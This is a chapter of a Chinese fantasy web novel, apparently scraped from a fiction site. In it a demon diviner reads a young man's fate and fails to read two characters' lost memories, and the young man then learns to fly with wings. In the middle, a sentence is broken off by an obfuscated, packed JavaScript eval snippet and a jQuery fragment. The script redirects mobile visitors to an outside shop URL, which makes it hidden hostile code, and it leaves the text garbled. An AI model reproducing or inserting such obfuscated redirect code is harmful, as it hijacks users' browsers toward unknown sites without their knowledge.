文趣网 > 其他小说 > 弗斯尼亚·神赐之地 > 21. 命运迷雾
    椿景摊开双手,宽大的袖子垂了下来。

    “接下来,我将沟通神明,借神全知全能,解答你心中困惑。”她将手指向苏银,“来吧,告诉我,你想在这未来的星月里找寻什么?”

    苏银看向身侧的赵一诚。

    赵一诚向他点了点头。

    他有些紧张地说:“我想知道……我有没有找到十年前爸妈死亡的真相?哪怕我只是找到些蛛丝马迹也好……我有吗?我能知道我是怎么找到线索的吗?”

    “明白了。”

    椿景将手落在桌面上,从左至右画出一道弧线。随着她的手滑过,红色的桌布上浮现出一连串黑色的符文。她抬起手,牵引着符文汇集到她的两手之间,合拢双手抵在眉心,唇齿开合。念完咒语,右手拍在桌上,桌面赫然出现了一个异常诡异的眼睛图案,眼中有三瞳,眼上是云纹,眼下是火纹,整只眼睛横向双剑交叉,纵向被倒十字贯穿。

    苏银对这眼睛的画法感到熟悉,却又一时想不起来究竟在哪见过。

    椿景翻转左手,亮出一把匕首,直接割开了右手手腕,鲜血如红绸般瞬间涌出,滴落在黑色的眼睛上。她闭上了双眼,任殷红像藤蔓生长一样在深黑的纹路上蔓延,血液一滴接着一滴……直至那图案被完全染成血红,突然爆发出一瞬刺目的红光,地面的暗红法阵上浮起来,与桌面齐平。

    她再睁开眼时,双目变得一片漆黑,连眼白也不见一点。手上的血还在流出,她却仿佛毫无痛觉。

    “你终有一日会知道的。”椿景毫无感情地说,“但它遥远,飘渺,不稳定。你必将付出相应的代价,必将克服这时空的一切未知,直至最后与它相遇。”

    苏银长舒一口气,又问道:“我……下一次接近它,是什么样的情况?什么时候?”

    “少女的鲜血染红白瓷砖瓦,嗜血者的翅膀在背上抽动,死亡的晶石贯穿心脏,亡者不会忘记许诺人的姓名……时间就在明年的冬季。”

    “什么意思?我没有明白。”

    “少女的鲜血染红白瓷砖瓦,嗜血者的翅膀在背上抽动,死亡的晶石贯穿心脏,亡者不会忘记许诺人的姓名。”椿景只是又机械地重复了一遍。

    然后是漫长的静默。

    黑色眼睛上的红色渐渐褪去,法阵的光也黯淡下去。椿景仿佛被抽走灵魂般低下了头,身体无力地靠在椅背上。没过太久,大概三十秒,她像是梦中初醒一般睁开了眼睛,眼瞳又恢复了那诺克图人特有的鲜红。

    苏银仍沉浸在椿景给出的预言里,里面给出的每一个意象都是那么的陌生和意味不明,以至于完全捉摸不透。不过至少,他一直紧张得怦怦直跳的心脏安定了一些,毕竟无论过程如何,未来他一定找到真相了……他一定是做到了的,不是吗?他会成功给亲人一个交代的。

    赵一诚打破了沉默,道:“不愧是恶魔占卜师。透支生命献给真正的恶魔,你可真做得出来。”

    椿景笑了笑:“凡人想窥探未来总得付出一些代价,不是吗?”

    她站了起来,从身后的架子上取下一卷绷带,娴熟地缠在了自己手上,那上面的液体已经有些凝固:“反正事情结束后我会再用巫术治疗下的,也就少一点血而已,算不上透支生命。魔鬼才没世人想得那么残忍。”

    法阵已经完全消失,占卜室也恢复了它原本在烛光照耀下暖黄的色调,仿佛从地狱回到了人间。

    她坐了回来,对着苏银轻笑一下:“有没有觉得心里受到些安慰?虽然不确定过程,但至少结果已经肯定。”

    见他点了点头,椿景继续道:“不过也比较可惜,我没办法给你更具体的线索,也没办法告诉你明确的过程。这种和未来命运关联太过紧密的事情,往往连神明都看不清楚。”

    “没事,已经足够了……辛苦你了。”

    “辛苦什么呀?本来就是我主动想帮你。谁叫我是个看到别人愁眉苦脸就会心疼的大好人呢?”椿景用手托着脸,笑盈盈的。随即,她想起什么似的,挺了挺身子:“对了,你是想找的真相是有关自己的过去的吗?”

    “算是吧。我想知道我家人出事的那天到底都发生了什么。但坦白说,我有关那些时日的记忆全是乱的,只记得一些,很糟糕的事情……”

    “我的神灵体能力是窥昔,可以窥探人的过去,即使对象失忆了,只要身体上相关的往昔之时还在,按理我也可以看。如果你不介意的话,我可以试着帮你看看。”

    “完全不介意,麻烦你了。”

    “真的吗?万一你找回失去的那段记忆后,却发现你并不想让任何人知道呢?而且我有可能看到其他时间的秘密哦。”

    苏银犹豫了下,那就意味着,他曾经……那决不可赦的罪孽……也会尽数被她知晓吗?可是名誉难道比真相更重要吗?他苦笑了下,说:“不介意的,没事,请吧。”

    椿景笑了笑,起身走到了苏银身旁。她眼神询问了下赵一诚,他只是抬了抬手示意她自便。她托起了苏银的脸,问:“告诉我,是哪段时间的往事?”

    “旧世界二三九一年,我……十一岁时。”

    她点了点头:“提前说一声,由于你现在是醒着的状态,所以意识被入侵的时候可能会有些难受。没问题吧?”

    “没有。”

    椿景一翻手,指尖泛出光芒,点在了苏银的眉心。

    无数的回忆影像仿佛融合的颜料,汇聚成记忆的汪洋,天地全由无尽的往日时空所包裹。椿景在这混沌的洪流中徘徊了一阵,才径直走向了那段属于二三九一年五月的往事。它很朦胧,很模糊,仿佛磨砂的玻璃,画面在玻璃后面扭曲着搅合着。

    椿景将手伸向了它,指尖刚一触碰,却霎时狂风骤起。以那段记忆为起点掀起的飓风径直劈开了她身后的汪洋,在两侧形成巨浪,又轰然拍下。海鸣无声地吼叫,冲击着她侵入的意识。她不想放弃,仍企图洞察那朦胧的往事。她分明已经微微看到了一些影像,送自己离开的母亲,闹着不想走的妹妹……还有遍地盛放的曼陀罗花。

    “啊!!!!!!”

    一段尖利的嘶吼几乎要把整个记忆的空间撕裂。

    椿景抬头望去,往事里凌空飞出一个半透明灵体,洁白如雪的长发混乱地飞扬,那双纯白的双目愤怒地瞪着她。它随着气流被切割一样散开了,掀起海浪彻底淹没了那古远的记忆……

    椿景睁开眼睛,额上渗出了汗珠。她收回了手,胸膛剧烈起伏着。

    苏银恍惚地看向她:“怎么样……”

    “果然还是不行。”椿景靠到了桌上,说,“我看不到,你的情况似乎和那些因为客观因素而遗失记忆的人不一样。不是你遗忘了它,是你太过在意它,在意到刻意地将其掩藏了起来,封锁到了不可触碰的地方。或许最初只是不敢想起,不愿想起,到最后就变成不能了……”

    “意思是,我其实原本有能力记得那段往事,但我潜意识抗拒它所以才记不清了吗?”

    “啊,潜意识,是啊,或许就是这个原因。”她说,“可惜还是没法帮到你更多了。你可能需要时间去重拾直面那段过往的勇气,而这只能依靠你自己。”

    苏银苦涩地笑了笑:“不管怎样,谢谢你愿意帮我……”

    “哈哈,举手之劳,而且还可以借此多了解你一点。”椿景眯起眼睛,笑道。

    她又转向赵一诚,问:“要不也顺便来看看你的?”

    “你就对别人的人生这么好奇吗?”赵一诚头后仰着搁在椅背上,反问道。

    “你这话说的,我可不喜欢朋友一览无遗地展现在我面前,神秘感是最好的距离感,所以我才不看你那些小秘密呢。”椿景凑到了他边上,“我只是大发善心想帮助别人,你难道就没有什么记不清了却又很想想起的事情吗?”

    赵一诚看看她 ,又看看苏银,脸色沉了沉:“但说好了,绝对别看任何我其他的事情。对你对我都没好处。”

    “你对我这点信任都没有吗?”她叉着腰,“要是之后你觉得我看到你的什么秘密了,杀我灭口就好了嘛。”

    “开什么玩笑呢。别把我说得那么糟糕。”

    椿景正色道:“好了,倔狐狸,快说想让我帮你回忆一下哪段时间的事。”

    “二三八七年的七月十五日……无论你看到什么样的环境,都不要太惊讶,可以吗?”

    “好好,我不会被大少爷金碧辉煌的家给吓到的。”椿景又玩笑一句,手指抵在了他的眉心。

    然而,没过多久,椿景突然咳出一口血来,直直地往前倒了下去。

    “椿景小姐!”苏银惊呼了一声。

    赵一诚立刻回过神来,接住了她。他抹去脸上沾到的血,轻拍了下怀里的椿景,焦急地道:“喂!怎么了?发生什么了!”

    但椿景似乎已经昏迷了过去,眼下泛出暗色,嘴角还残留着血,虚弱地靠在他肩上。

    “下去找那个侍者。”赵一诚把她抱了起来,示意苏银帮忙开下门。

    侍者还等在二楼。看到椿景不太乐观的样子时,他大惊失色:“小姐这是怎么了?”

    “不知道。她平常在哪休息?”

    “小姐寝室就在二楼,请跟我来。”

    他匆匆领着他们,把椿景安置回了她的房间,让她躺在床上。侍者接了水,悉心帮她擦去了嘴边吐出的血,又简单用巫术感应了下她身体的状况。

    “可能是受到什么精神冲击,导致血压骤升了。”侍者面露悲伤地说,“小姐也真是的。我早就跟她说占卜太多还不好好休息是会损伤自己的精神的,可她偏不听。”

    苏银担忧地看向赵一诚,但他脸上似乎没什么自责的情绪。他双手抱肩着站在床边,只是若有所思地看着椿景。

    她并没昏睡很久,趁着侍者倒水的间隙恰好醒了过来。

    “你们两个家伙……”她扯了扯嘴角,虚弱地说,“这样显得我的神灵体很无能啊。”

    赵一诚皱着眉问:“你看到什么了?”

    “呵呵……什么也没看到。你的记忆空间比苏银的还奇怪。”椿景又把眼睛闭上了,语气里满是无奈,“火焰把什么都挡住了。”

    “而且一直有种力量在对抗我的意识,未知而恐怖的,不可名状的……我不明白那该死的是什么,总之它强行把我的意识撕碎了。可能那是你的潜意识吧?呵呵……你们两个家伙。”她苦笑起来。

    “抱歉,让你受伤了。”

    “得了吧,是我自己非要好奇。早知道你这么怪物我就不看了,现在真是一片好心浪费掉了。”椿景坐了起来,向回来的侍者摆了摆手,示意他先出去,对赵一诚说道,“不过也有一件事值得在意。你的记忆空间里有大量的裂缝。”

    “为什么?”

    “不知道,我先前没见到过这种情况。”椿景摇摇头,“我也只是和你说一声。你们真是一个比一个奇怪,完全令人搞不懂。”

    其实我自己也搞不懂自己迄今为止的人生。

    苏银和赵一诚都沉默地低下了头,气氛一时有些沉重。椿景见状,翻手唤出了两只巴掌大的黑色绵羊,让它们分别跳到了他们肩上,蹭了蹭他们的脸颊。

    “这是做什么?”

    “给我的病患一点心理安慰。我说真的,你们这副消沉的样子干什么?人生还很长,弄清楚一切模糊和未知的时间还有很多呢。急什么?”她动了动手指,让两只绵羊又跳到了他们头上,“真要是靠我就把你们搞不清的全搞清了,那这多无聊?人和人之间得保持点神秘感,有时候自己与自己之间也得保留一些神秘才是。”

    赵一诚挑了下眉,用手指弹开了头顶的羊。它扑腾地掉了下去,化作光点散开了。

    他眯起眼睛说:“心理系的就是不一样,这么通达。不过其实我还好,只是有些困惑而已,搞清楚和搞不清楚对我倒也没那么重要。”

    苏银端详着被捧在手心的绵羊,不知在想什么。

    “怎么样?还是在觉得迷茫吗?”椿景担心地问他道。

    “啊。不是……”苏银愣愣地回过神,“我在想失眠的时候是不是可以看它跳栅栏。”

    “……哈。是吧。”

    坐在马车里,苏银手里揉捏着一只黑绵羊玩偶,散发着淡淡的熏香。他感叹起来:“占卜馆竟然还有这种制品。”

    “毕竟她自己就喜欢收集毛绒玩偶。”赵一诚说,“而且黑羊是他们丹维里安家族的象征。”

    “可为什么是绵羊?显得好……温和。”

    “他们家族象征是山羊,只是她自己认为她在家族里温和得像绵羊。”

    “啊,想起来了,以前在报纸上看到过丹维里安的家徽。”苏银反应过来,笑着回道,“不过椿景小姐真的是个很好很有趣的人啊。有她做女朋友应该确实很幸福吧?”

    赵一诚愣了愣,脸上闪过了一瞬别扭的表情,随口应道:“或许吧。”

    “对不起……我不该胡乱评价你们的感情事。”注意到他的微表情,苏银赶忙道。

    “唉,不是,”赵一诚却摇摇头,欲言又止,“我没有指责你的意思。只是……算了。以后有机会再跟你说吧。”

    “说什么?”

    “没想好要不要告诉你,所以就先不说了。”赵一诚狡黠地眨了眨眼睛。

    再醒来时已是烈日当空,前一天夜里下的雪融化得差不多了,残留满地水渍和冰碴。苏银没再多看窗外的图景,急匆匆地洗漱好,立刻下了楼,却正好撞见楼梯间的琉安和赵一诚。

    琉安踩着高跟看着和赵一诚有差不多高,气势汹汹地说:“你别总把那套少爷生活带到工作上行吗?甚至还把苏银也带坏了。”

    赵一诚略显委屈地回道:“但我是老板诶……”

    “我自己本来也是做店长的。你以为做老板的成天游手好闲,底下员工还会愿意多干吗?工钱比人少,工作却比人多,这样的事谁会乐意?”

    但往往就是这样嘛……社会什么时候平等过?明明资源分配不均才是常态。赵一诚心里暗语。

    注意到苏银站在楼梯上,琉安收起了些愠色,最后道:“总之,别总一个早上见不到你们人。我们不可能上楼来喊你们。只有我和织略两个人真的有些忙不过来,你知道他身体不行。”

    看赵一诚做出一脸歉疚的神色,琉安摆了摆手:“好了,该干什么干什么吧。”

    “我们以后还是不要晚上出门了吧……第二天真的起不来。”琉安离开后,苏银说。

    “那就很没意思了。果然我一点不适合安安分分地上班。”赵一诚困扰地挠了挠头,“琉安生气起来也太可怕了,比老虎都胜上三分。”

    “她只是看许织略很累的样子心疼吧。”

    “是吗?我突然在想小桐雀和小悫酿什么时候毕业。”

    “你像个压榨童工的资本家。”

    “哪有,他们都到法定工作年龄了。”

    苏银走进门店大厅,理靡却一下喊住了他:“苏银!你过来!”她依旧坐在她那个靠近壁炉的位置,温暖的火光烤得她半张脸都是橙红色,加深了皱纹投下的阴影。

    听她语气里好像有些不悦,苏银一时困惑自己难道做错什么事情?他只得毕恭毕敬地走到她桌前,等候发落。

    “蓝莓果酱吐司。”

    “哦,啊……糟糕。”苏银顿然醒悟。

    “它现在要从早饭变成午饭了你知道吗?”

    “对不起,我睡过头了。”

    理靡撇着嘴,钢笔在白纸上急躁地画了好几个圈:“我这个笨蛋徒儿怎么就知道道歉啊?道歉干什么,快帮我烤好拿过来吧!哦哦,既然变成午饭了……再帮我烤个黄油面包填个肚子吧。还有来杯热可可。”

    原来是点单来的……苏银心里对师父

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17688767|207851||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    暗自调侃了一句,然后点点头:“好的。”

    “唉,我真的生气了,很生气的那种。所以你下午陪我出去一趟,我要带你解锁个技能。”

    “什么技能?”

    “帮助你实战的技能。昨天正好遇到个老朋友就想到了……”她努了努嘴,“当然,主要也是惩罚你今天没给我准备早餐。”

    不容反驳的,中午一过,理靡就拉着他出门了。“我带自己徒弟出去兜兜风怎么了?我老婆子难道还会害他不成?他就一管书和端茶倒水的,没他一个,这咖啡馆也会照常转的!”她当时几乎是神挡杀神的姿态,赵一诚只得悻悻地放任他们离开了。

    “注意安全。她如果要教你什么害人害己的巫术,你就拒绝,不要学知道吗?”

    “没事的,老太太不是那样的人……”苏银苦笑着向赵一诚挥了挥手。

    直到站在百米悬崖旁的时候,他才改变了对理靡的想法。

    先不说理靡到底打算干什么,她竟然能在城外找到这么偏僻的山岭峭壁。世界眼的报纸里有一期分明提过,书乡绝大部分地形都是平原为主,只有少量远离城市的低山丘陵。

    山泉溪流在裂点之前汇集,急流溅起飞扬的白色水沫,像万匹白马从他们身侧狂奔而过。山风凌冽地打着旋,呼号掠过,吹得发丝在眼前乱作一团,衣摆无序地一同翻飞。悬崖的转角几近九十度,瀑布在附近发出如雷的轰鸣巨响,倾泻直下,埋没在重岩叠嶂和山林中,几乎看不见尽头落在何处。

    苏银望着悬崖底下参差起伏的山岩和风中晃动的林木,咽了下口水,回头问道:“老师……我们要做什么?”

    “我们?不不不,是你。”理靡朝远方的天空望了望,不知是在看什么,“你知道羽族为什么是一个战无不胜的种族吗?”

    “为什么?”

    “当你的巫术和羽箭也可以从天而降的时候你就知道了。真是可惜,老婆子我就没办法有对翅膀。”

    “好了,差不多了。下去吧我的笨蛋徒儿。”理靡抬起了脚,一下踹在苏银的后腰上。

    “啊?啊!!!!”

    苏银没来得及做任何反应,就重心不稳地向前一脚踏空,掉了下去。

    “把你那对翅膀放出来!”

    理靡的声音在头顶响起,可谁还听得清楚?一瞬的失重感下,苏银的大脑霎时就化作了空白。

    抬升的气流像刀刃一样划过脸颊,耳畔只有风声虚无的吼叫。这是要死了吗?看着轮廓渐渐清晰的山岩,体积在眼前变得越来越大,他生理本能地感到了一丝抗拒和恐惧。

    如果那时候从海崖跳下去,也是这样吗?

    感官上的时间仿佛停滞了,只剩下崖壁的野草和青苔清晰地掠过,裸岩的凹凸清晰地向上而去……

    这样死掉也不错,这段莫名其妙的失控人生就这样结束吧。只是死得会有些恶心吧……

    “你这小子,怎么一点求生本能都没有?到底有没有羽族血统?”

    苍老的男声在耳边响起,苏银才意识到自己被人接住了。那人抱着自己似乎重新升高着。

    “知道怎么把翅膀放出来吗?别那么紧张,放轻松点。都这么大年纪了,你总该比那些几个月大的小鸟宝宝强吧!感受气流顶托的感觉,顺势把翅膀打开,明白了吗?”

    “什么……”

    “好了,我放手了。”

    “啊??!”怎么又来?!

    失重感再次包裹了他,但这次意识很清楚。

    他看到刚刚接住自己的是个须发灰白但仍身形健硕的老人。老人披着日头,身后一双巨大的灰色翅膀,羽毛尖端渐变为黑色,此刻正上下扇动着。

    看他离自己越来越远,却始终岿然不动的样子,苏银一咬牙,在空中转过身,朝向地面。

    下一秒,白色的光茫如洪流从背后奔涌而出,像花卉凌空绽放。羽翼在光芒中显现,从根部的洁白到末端化为冰蓝色。光芒褪去后,羽翼完全展开,夕阳透过层层羽毛,为其镀上了金色的边缘,泛开一圈柔光。

    耳畔的风声不再杂乱和喧闹,平息下来,宛如管风琴圣咏的和鸣。气流像一个无形的手掌,稳稳地托住了他原本下坠的身体。

    苏银停在半空,惊魂未定地喘了口气,又满怀好奇地扭过头打量,感受着身后羽翼的存在。那双翅膀轻轻一振就带他向上飞了一些。

    我……会用翅膀了?

    往日里天空的飞鸟也是这种体验吗?

    他欣喜地扇动翅膀在空中转了个圈。稍稍冷静下来后俯瞰,地面绵延的山陵尽收眼底,高耸的树木此刻也渺小如尘,目之所及都因为遥远而变得一手可遮。

    “飞得好笨拙啊。”老人降到了和他齐平的高度。对比之下,苏银注意到老人那双翅膀和他的手臂肌肉一样看着健硕有力。

    “我就说这没什么难的,逼迫一下就会了。小鸟蛋子们都是这样开窍的。不过你以后还得多练练,而且平地起飞和从高空起飞也是完全两种感觉。”老人自来熟地拍了拍他,“小子,加油啊,能被老太婆看重绝对是有前途的。”

    “还有你这翅膀,颜色挺不错。放羽族里可受那些小姑娘家家喜欢了。不像我这个,你看看,灰得像个破布袋子,所以到快死了也没找着个对象,是吧?哈哈哈!”老人自顾自说着,仰天大笑了一声就往悬崖边飞去,那里理靡仍搓着手眺望等待。

    苏银无奈地扇动翅膀跟了上去。

    “知道了吧?以后记得每日帮为师准备蓝莓果酱吐司,”安然落下后,理靡对他说道,“我真心爱吃这个。”

    “老师,我差点死了……”

    “哦,是吗?我看你明明挺享受的。”她上手摸了摸苏银翅膀上的羽毛,“我跟你说,有了这个能力,再加上你的巫术,你完全所向披靡。到时候,在全世界的巫师里都得是数一数二的!”

    他讷讷地点点头。见白发老者在一旁的岩石上盘腿坐下了,他转头问理靡道:“敢问这位老先生的名姓是?”

    “你猜猜看。”她向他挤了挤眼睛,“学识渊博的艾森加德大学生,指不定你知道呢?”

    “抱歉,让您失望了。”苏银惭愧地说。

    见状,老头仰天大笑一下,对理靡道:“别为难小辈了。我毕竟老了,他们这代哪可能听说过我?”他看向苏银:“小子,我东方名是贺仪,原名赫博格·奥克维斯。”

    “伊瑟索尔帝国最大军政家族奥克维斯?”苏银睁大了眼睛,心脏因为激动而剧烈跳动,他何德何能在新世界里屡次接触到这些遥不可及的人物。

    “可不是吗?不仅如此,奥克维斯能荣升贵族之姓全是贺老一人之力。上一朝,罗里恩八世统治时期,他可是担任伊瑟索尔的最高军官呢。”理靡说。

    想到自己在他面前失态的样子,苏银脸变得通红。他低下头去:“我太失敬了,竟然劳烦您帮我。”

    “别紧张,你这小子就是太不松弛了,总那么紧绷着做什么?我已经老了,当年勇没什么好提的。你就把我当成是个来你们人类国度享受科技和度假的老头好了。捞你那一把也只是因为看在和老太婆交情的份上而已。”

    贺仪站了起来,拍了拍宽松大衣上的尘土,对理靡说:“不早了,回城也要好些时间。该回哪回哪去吧。下次见面跟我讲讲你那些研究呗。”

    “都是半截身子入土的人了,下次见面不知道是在哪哦。”

    “你这老太婆,怎么又说不吉利的话。”贺仪显出翅膀,扇动着飞离了地面,他豪迈笑道,“好了,告辞了。小子,期待下次见面你能飞更漂亮点。”

    苏银望着老人在空中远去的身影,心里五味杂陈。他的人生曾经一直是平凡不起眼的中层阶级,如今不知怎的,竟似乎渐渐摸到了一些更上位社会的门槛。也不知是好是坏,只是心中突然有些怅惘。

    未来到底会是什么样?